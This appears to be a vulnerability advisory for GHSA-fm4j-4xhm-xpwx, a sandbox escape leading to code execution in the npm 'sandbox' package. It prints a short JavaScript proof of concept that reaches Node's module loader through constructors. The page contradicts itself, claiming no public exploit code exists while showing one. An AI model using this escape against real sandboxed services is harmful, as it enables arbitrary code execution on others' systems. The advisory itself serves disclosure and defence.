GHSA-fm4j-4xhm-xpwx Sandbox Breakout / Arbitrary Code Execution in sandbox
Attackers can execute arbitrary code by escaping the sandbox via insufficient input sanitization in the sandbox library.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Over the internet
- Victim action needed
- Not needed
- Fix
- None listed
What is GHSA-fm4j-4xhm-xpwx?
GHSA-fm4j-4xhm-xpwx is a code injection vulnerability in sandbox, published on 2 Sep 2020. An attacker can exploit it over the internet without logging in, with no action from the victim.
Official description
All versions of sandbox through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.
Proof of concept
var Sandbox = require("sandbox")
s = new Sandbox()
code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")`
s.run(code)
Recommendation
No fix is currently available. Consider using an alternative module until a fix is made available.
Which versions are affected by GHSA-fm4j-4xhm-xpwx?
2 open source packages ship an affected version, including sandbox.
| Package | Affected | Fixed in |
|---|---|---|
sandbox npm | From 0.0.0 | None |
sandbox npm | From 0.0.0 | None |
How do I fix GHSA-fm4j-4xhm-xpwx?
No fix has been published for GHSA-fm4j-4xhm-xpwx yet. Limit exposure of the affected software until one is available.
Upgrade, and never evaluate templates, expressions or code built from user input. More about Code injection.
Is GHSA-fm4j-4xhm-xpwx being exploited?
There is no known exploitation of GHSA-fm4j-4xhm-xpwx in the wild and no public exploit code.